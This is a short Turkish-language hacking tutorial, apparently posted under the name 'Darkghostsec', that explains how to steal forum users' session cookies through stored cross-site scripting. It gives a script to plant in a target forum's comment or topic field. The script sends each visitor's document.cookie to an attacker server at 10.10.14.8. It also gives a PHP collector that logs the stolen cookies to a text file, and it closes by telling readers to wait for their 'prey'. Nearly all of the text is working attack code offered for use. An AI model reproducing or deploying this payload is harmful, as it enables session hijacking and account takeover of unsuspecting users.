Darkghostsec #

Hedef Foruma, Yorum/Konu alanına bir JavaScript kodu gönderelim. 



<script>



    var xhr = new XMLHttpRequest();



    xhr.open("GET", "https://10.10.14.8/collect_cookies.php?" + document.cookie, true);



    xhr.send();



</script>



Bu kod, sayfa yüklenirken kullanıcının çerez bilgilerini belirtilen URL'ye (https://10.10.14.8/collect_cookies.php) gönderecektir.



Adım 2: Çerezleri Toplayan Sunucu Kodu

Bizim sunucumuzda, çerez bilgilerini toplayan bir PHP dosyası bulunur.



collect_cookies.php:

<?php



// Gelen tüm verileri bir değişkene alalım



$cookies = $_SERVER['QUERY_STRING'];







// Çerez bilgilerini txtye kaydedelim



$file = 'cookies.txt';



file_put_contents($file, $cookies . "\n", FILE_APPEND);







echo "Çerezler alındı Dark yine iyisin: " . htmlspecialchars($cookies, ENT_QUOTES, 'UTF-8');



?>



Sunucunuzda cookies.txt dosyası açın ve avlarınızı bekleyin.